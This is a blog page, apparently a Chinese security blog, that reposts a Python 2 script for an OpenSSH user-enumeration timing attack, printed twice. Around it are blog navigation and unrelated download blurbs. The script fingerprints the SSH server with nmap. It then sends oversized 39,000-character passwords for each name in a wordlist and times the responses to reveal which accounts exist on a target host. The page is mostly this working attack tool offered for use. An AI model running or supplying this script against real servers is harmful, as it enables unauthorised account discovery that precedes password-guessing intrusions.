- 浏览: 293909 次
-
文章分类
- 全部博客 (276)
- burp+hydra暴力破解 (1)
- kali linux工具集 (6)
- kali (59)
- linux (54)
- password (14)
- web (63)
- 渗透测试 (50)
- windows (40)
- metasploit (9)
- 信息收集 (32)
- burp suit (4)
- 安全审计 (9)
- https://github.com/secretsquirrel/the-backdoor-factory (0)
- nmap (4)
- arachni (2)
- 工具 (5)
- sql (3)
- 网络 (2)
- 后渗透测试 (10)
- 内网 (5)
- 无线 (2)
- C (3)
- bios (1)
- RoR (12)
- mongodb (1)
- linxu (1)
- gdb (1)
- linux,虚拟化 (1)
- python (4)
最新评论
原文: http://www.devconsole.info/?p=341
#!/usr/bin/python
# -*- coding: utf-8 -*-
import paramiko
import socket
import time
import os,sys
import argparse
import subprocess
from IPy import IP
from threading import *
screenLock = Semaphore(value=1)
def sshTime(host,port,user,sock,defTime):
print 'Connecting %s@%s:%d ' % (user,host,int(port))
try:
sock.connect((host,int(port)))
para = paramiko.Transport(sock)
para.local_version="SSH-2.0-Blabla"
except paramiko.SSHException:
print "Unable to connect to host"
exit(1)
try:
para.connect(username=user)
except EOFError,e:
print 'Error: %s' % e
exit(1)
except paramiko.SSHException,e:
print 'Error: %s' % e
exit(1)
#results in a long wait on sshd side, as it needs to calc the password
#only if the user exists
passwd = 'A'*39000
#time measurement
timeStart = int(time.time())
try:
para.auth_password(user,passwd)
except paramiko.AuthenticationException,e:
print e
except paramiko.SSHException,e:
print e
timeDone = int(time.time())
#simple time calculation
timeRes = timeDone-timeStart
if timeRes > defTime:
print 'User: %s exists' % user
ret = user,host,port,timeRes
else:
ret = -1
para.close()
return ret
def sshBanner(host,port):
nport="-p"+port
print "Scaning %s tcp port at %s ..." % (port,host)
try:
scanv = subprocess.Popen(["nmap", "-PN", "-sV", nport,host],stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate()[0]
except OSError:
print "Install nmap: sudo apt-get install nmap"
scanlist=scanv.split()
if 'filtered' in scanlist:
print "Port " + port + " is filtered."
print "Nothing to do."
exit(1)
elif 'closed' in scanlist:
print "Port " + port + " is close."
print "Nothing to do."
exit(1)
else:
print "Port " + port + " is open."
if 'ssh' in scanlist:
index = scanlist.index('ssh')
print "SSH Server Banner ==> %s %s" % (scanlist[index+1], scanlist[index+2])
banner = scanlist[index+1] + " " + scanlist[index+2]
else:
print "Are you sure that it's a ssh server?"
print "Check with \"nmap -PN -sV -p 22 \" if you see something strange."
exit(1)
return banner
def main():
parse = argparse.ArgumentParser(description='OpenSSH User Enumeration Time-Based Attack')
parse.add_argument('-H', action='store', dest='host', help='Host to attack')
parse.add_argument('-p', action='store', dest='port', help='Host port')
parse.add_argument('-L', action='store', dest='ufile', help='User list file')
parse.add_argument('-d', action='store', dest='delay', help='Time delay in seconds')
argus=parse.parse_args()
if argus.host == None:
parse.print_help()
exit
elif argus.port == None:
parse.print_help()
exit
elif argus.ufile == None:
parse.print_help()
exit
elif argus.delay == None:
parse.print_help()
exit
else:
host = argus.host
port = argus.port
defTime = int(argus.delay)
try:
IP(host)
except ValueError:
print "Invalid host address."
exit(1)
try:
userFile = open (argus.ufile,'r')
except IOError:
print "The file %s doesn't exist." % (argus.ufile)
exit(1)
foundUser = []
print """
********************************************************************
* OpenSSH User Enumeration Timing Attack *
* *
* http://cureblog.de/openssh-user-enumeration-time-based-attack/ *
* http://seclists.org/fulldisclosure/2013/Jul/88 *
* *
********************************************************************
"""
print
banner = sshBanner(host,port)
print
for line in userFile.readlines():
line = line.split("\n")
user = line[0]
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
fUser = sshTime(host,port,user,sock,defTime)
if fUser != -1 and fUser !=None:
foundUser.append(fUser)
sock.close()
if len(foundUser) == 0:
print "No users found. " + banner + " perhaps it's not vulnerable."
else:
print
print "Server version: " + banner
print
print "Users found Time delay in seconds"
print "--------------------------------------"
for entry in foundUser:
if entry != -1:
print entry[0] + " " + str(entry[3])
if __name__=="__main__":
main()
#!/usr/bin/python
# -*- coding: utf-8 -*-
import paramiko
import socket
import time
import os,sys
import argparse
import subprocess
from IPy import IP
from threading import *
screenLock = Semaphore(value=1)
def sshTime(host,port,user,sock,defTime):
print 'Connecting %s@%s:%d ' % (user,host,int(port))
try:
sock.connect((host,int(port)))
para = paramiko.Transport(sock)
para.local_version="SSH-2.0-Blabla"
except paramiko.SSHException:
print "Unable to connect to host"
exit(1)
try:
para.connect(username=user)
except EOFError,e:
print 'Error: %s' % e
exit(1)
except paramiko.SSHException,e:
print 'Error: %s' % e
exit(1)
#results in a long wait on sshd side, as it needs to calc the password
#only if the user exists
passwd = 'A'*39000
#time measurement
timeStart = int(time.time())
try:
para.auth_password(user,passwd)
except paramiko.AuthenticationException,e:
print e
except paramiko.SSHException,e:
print e
timeDone = int(time.time())
#simple time calculation
timeRes = timeDone-timeStart
if timeRes > defTime:
print 'User: %s exists' % user
ret = user,host,port,timeRes
else:
ret = -1
para.close()
return ret
def sshBanner(host,port):
nport="-p"+port
print "Scaning %s tcp port at %s ..." % (port,host)
try:
scanv = subprocess.Popen(["nmap", "-PN", "-sV", nport,host],stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate()[0]
except OSError:
print "Install nmap: sudo apt-get install nmap"
scanlist=scanv.split()
if 'filtered' in scanlist:
print "Port " + port + " is filtered."
print "Nothing to do."
exit(1)
elif 'closed' in scanlist:
print "Port " + port + " is close."
print "Nothing to do."
exit(1)
else:
print "Port " + port + " is open."
if 'ssh' in scanlist:
index = scanlist.index('ssh')
print "SSH Server Banner ==> %s %s" % (scanlist[index+1], scanlist[index+2])
banner = scanlist[index+1] + " " + scanlist[index+2]
else:
print "Are you sure that it's a ssh server?"
print "Check with \"nmap -PN -sV -p 22 \" if you see something strange."
exit(1)
return banner
def main():
parse = argparse.ArgumentParser(description='OpenSSH User Enumeration Time-Based Attack')
parse.add_argument('-H', action='store', dest='host', help='Host to attack')
parse.add_argument('-p', action='store', dest='port', help='Host port')
parse.add_argument('-L', action='store', dest='ufile', help='User list file')
parse.add_argument('-d', action='store', dest='delay', help='Time delay in seconds')
argus=parse.parse_args()
if argus.host == None:
parse.print_help()
exit
elif argus.port == None:
parse.print_help()
exit
elif argus.ufile == None:
parse.print_help()
exit
elif argus.delay == None:
parse.print_help()
exit
else:
host = argus.host
port = argus.port
defTime = int(argus.delay)
try:
IP(host)
except ValueError:
print "Invalid host address."
exit(1)
try:
userFile = open (argus.ufile,'r')
except IOError:
print "The file %s doesn't exist." % (argus.ufile)
exit(1)
foundUser = []
print """
********************************************************************
* OpenSSH User Enumeration Timing Attack *
* *
* http://cureblog.de/openssh-user-enumeration-time-based-attack/ *
* http://seclists.org/fulldisclosure/2013/Jul/88 *
* *
********************************************************************
"""
banner = sshBanner(host,port)
for line in userFile.readlines():
line = line.split("\n")
user = line[0]
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
fUser = sshTime(host,port,user,sock,defTime)
if fUser != -1 and fUser !=None:
foundUser.append(fUser)
sock.close()
if len(foundUser) == 0:
print "No users found. " + banner + " perhaps it's not vulnerable."
else:
print "Server version: " + banner
print "Users found Time delay in seconds"
print "--------------------------------------"
for entry in foundUser:
if entry != -1:
print entry[0] + " " + str(entry[3])
if __name__=="__main__":
main()
发表评论
-
使用GCC/GNU-ld删除dead code
2016-05-09 17:18 664[url] https://gcc.gnu.org/ml/gc ... -
python 修饰器
2016-02-05 15:11 428def wrapper1(function): ... -
ubuntu 14.04 install e431 wifi driver
2016-01-25 20:59 463引用 sudo apt-get install linu ... -
git
2016-01-07 12:01 462http://finalshares.cn/attachmen ... -
嵌入式中使用gdb
2016-01-06 17:38 3716编译 For gdb: /path/to/gdb-sr ... -
linux change boot image
2016-01-02 00:55 5521. change grub2 引用vim /etc/defa ... -
binwalk --dd
2015-12-28 21:51 1432http://www.devttys0.com/2012/12 ... -
embeded LD_PRELOAD
2015-12-28 00:17 577引用 eve@eve:~/squashfs-root$ sud ... -
hardware hacking
2015-12-27 01:32 708For video stuff: https://www.yo ... -
ubuntu support kindle
2015-12-20 23:13 381引用apt-get install mtpfs -
linux 备份系统
2015-12-05 22:22 429引用备份 dd if=/dev/sda > myimag ... -
[译]root权限运行vlc
2015-11-30 22:19 1423原文地址:http://www.blackmoreops.co ... -
【转】关闭TCP Timestamps来节省一点带宽
2015-10-15 23:29 1661http://highscalability.com/blog ... -
[转]Terminal escape sequences – the new XSS for Linux sysadmins
2015-09-25 23:58 448https://ma.ttias.be/terminal-es ... -
ipython basic
2015-09-25 11:31 482Introspection引用 Using a questio ... -
static in C
2015-09-22 11:35 326jason@ubuntu:~/test$ cat a.c ... -
lxc重命名容器名
2015-09-20 00:25 832lxc-ls 使用文件夹名作为容器名。所以可以更改文件夹名称来 ... -
lxc更新apt源
2015-09-18 11:49 775最近一直在使用lxc创建容器,每次创建一个容器都需要把apt源 ... -
wireshark:Couldn't run /usr/bin/dumpcap in child process: Permission denied
2015-09-11 10:26 3394When start wireshark, I met an ... -
[转]调试python内存泄漏
2015-09-09 00:48 390http://chase-seibert.github.io/ ...
相关推荐
Java、SSH和JSP技术都是计算机领域中非常重要的技术,Java是一种面向对象的语言,SSH是一种安全的远程登录协议,JSP是一种基于Java的服务器端脚本语言。它们在计算机领域中的应用非常广泛,例如开发基于Web的应用...
4. **验证SSH服务**:一旦找到开放的22端口,脚本可能会尝试进行SSH连接,例如使用`ssh -o BatchMode=yes user@ip`,这里的`BatchMode=yes`选项禁止交互式输入,防止因无人值守而被阻塞。 5. **记录结果**:最后,...
【靶机系列测试 Me and My Girlfriend 11】是一篇针对初学者的网络安全教程,主要涉及Web应用测试、枚举和权限提升等知识点。在这个系列的第11部分,作者建立了一个QQ群来解答学习者的问题,并提供了一个实战靶机...
SSH服务可以利用公钥和私钥进行登录,如`ssh -i id_rsa user@10.10.10.x`。如果目标允许密码免密登录,公钥(`id_rsa.pub`)应添加到目标的`authorized_keys`文件中。 DNS区域传输检查是查找敏感信息的手段,如`dig...
内容概要:本文主要探讨了SNS单模无芯光纤的仿真分析及其在通信和传感领域的应用潜力。首先介绍了模间干涉仿真的重要性,利用Rsoft beamprop模块模拟不同模式光在光纤中的传播情况,进而分析光纤的传输性能和模式特性。接着讨论了光纤传输特性的仿真,包括损耗、色散和模式耦合等参数的评估。随后,文章分析了光纤的结构特性,如折射率分布、包层和纤芯直径对性能的影响,并探讨了镀膜技术对光纤性能的提升作用。最后,进行了变形仿真分析,研究外部因素导致的光纤变形对其性能的影响。通过这些分析,为优化光纤设计提供了理论依据。 适合人群:从事光纤通信、光学工程及相关领域的研究人员和技术人员。 使用场景及目标:适用于需要深入了解SNS单模无芯光纤特性和优化设计的研究项目,旨在提高光纤性能并拓展其应用场景。 其他说明:本文不仅提供了详细的仿真方法和技术细节,还对未来的发展方向进行了展望,强调了SNS单模无芯光纤在未来通信和传感领域的重要地位。
发那科USM通讯程序socket-set
嵌入式八股文面试题库资料知识宝典-WIFI.zip
源码与image
内容概要:本文详细探讨了物流行业中路径规划与车辆路径优化(VRP)的问题,特别是针对冷链物流、带时间窗的车辆路径优化(VRPTW)、考虑充电桩的车辆路径优化(EVRP)以及多配送中心情况下的路径优化。文中不仅介绍了遗传算法、蚁群算法、粒子群算法等多种优化算法的理论背景,还提供了完整的MATLAB代码及注释,帮助读者理解这些算法的具体实现。此外,文章还讨论了如何通过MATLAB处理大量数据和复杂计算,以得出最优的路径方案。 适合人群:从事物流行业的研究人员和技术人员,尤其是对路径优化感兴趣的开发者和工程师。 使用场景及目标:适用于需要优化车辆路径的企业和个人,旨在提高配送效率、降低成本、确保按时交付货物。通过学习本文提供的算法和代码,读者可以在实际工作中应用这些优化方法,提升物流系统的性能。 其他说明:为了更好地理解和应用这些算法,建议读者参考相关文献和教程进行深入学习。同时,实际应用中还需根据具体情况进行参数调整和优化。
嵌入式八股文面试题库资料知识宝典-C and C++ normal interview_8.doc.zip
内容概要:本文介绍了基于灰狼优化算法(GWO)的城市路径规划优化问题(TSP),并通过Matlab实现了该算法。文章详细解释了GWO算法的工作原理,包括寻找猎物、围捕猎物和攻击猎物三个阶段,并提供了具体的代码示例。通过不断迭代优化路径,最终得到最优的城市路径规划方案。与传统TSP求解方法相比,GWO算法具有更好的全局搜索能力和较快的收敛速度,适用于复杂的城市环境。尽管如此,算法在面对大量城市节点时仍面临运算时间和参数设置的挑战。 适合人群:对路径规划、优化算法感兴趣的科研人员、学生以及从事交通规划的专业人士。 使用场景及目标:①研究和开发高效的路径规划算法;②优化城市交通系统,提升出行效率;③探索人工智能在交通领域的应用。 其他说明:文中提到的代码可以作为学习和研究的基础,但实际应用中需要根据具体情况调整算法参数和优化策略。
嵌入式八股文面试题库资料知识宝典-Intel3.zip
嵌入式八股文面试题库资料知识宝典-2019京东C++.zip
嵌入式八股文面试题库资料知识宝典-北京光桥科技有限公司面试题.zip
内容概要:本文详细探讨了十字形声子晶体的能带结构和传输特性。首先介绍了声子晶体作为新型周期性结构在物理学和工程学中的重要地位,特别是十字形声子晶体的独特结构特点。接着从散射体的形状、大小、排列周期等方面分析了其对能带结构的影响,并通过理论计算和仿真获得了能带图。随后讨论了十字形声子晶体的传输特性,即它对声波的调控能力,包括传播速度、模式和能量分布的变化。最后通过大量实验和仿真验证了理论分析的正确性,并得出结论指出散射体的材料、形状和排列方式对其性能有重大影响。 适合人群:从事物理学、材料科学、声学等相关领域的研究人员和技术人员。 使用场景及目标:适用于希望深入了解声子晶体尤其是十字形声子晶体能带与传输特性的科研工作者,旨在为相关领域的创新和发展提供理论支持和技术指导。 其他说明:文中还对未来的研究方向进行了展望,强调了声子晶体在未来多个领域的潜在应用价值。
嵌入式系统开发_USB主机控制器_Arduino兼容开源硬件_基于Mega32U4和MAX3421E芯片的USB设备扩展开发板_支持多种USB外设接入与控制的通用型嵌入式开发平台_
e2b8a-main.zip
少儿编程scratch项目源代码文件案例素材-火柴人跑酷(2).zip
内容概要:本文详细介绍了HarmonyOS分布式远程启动子系统,该系统作为HarmonyOS的重要组成部分,旨在打破设备间的界限,实现跨设备无缝启动、智能设备选择和数据同步与连续性等功能。通过分布式软总线和分布式数据管理技术,它能够快速、稳定地实现设备间的通信和数据同步,为用户提供便捷的操作体验。文章还探讨了该系统在智能家居、智能办公和教育等领域的应用场景,展示了其在提升效率和用户体验方面的巨大潜力。最后,文章展望了该系统的未来发展,强调其在技术优化和应用场景拓展上的无限可能性。 适合人群:对HarmonyOS及其分布式技术感兴趣的用户、开发者和行业从业者。 使用场景及目标:①理解HarmonyOS分布式远程启动子系统的工作原理和技术细节;②探索该系统在智能家居、智能办公和教育等领域的具体应用场景;③了解该系统为开发者提供的开发优势和实践要点。 其他说明:本文不仅介绍了HarmonyOS分布式远程启动子系统的核心技术和应用场景,还展望了其未来的发展方向。通过阅读本文,用户可以全面了解该系统如何通过技术创新提升设备间的协同能力和用户体验,为智能生活带来新的变革。
嵌入式八股文面试题库资料知识宝典-C and C++ normal interview_1.zip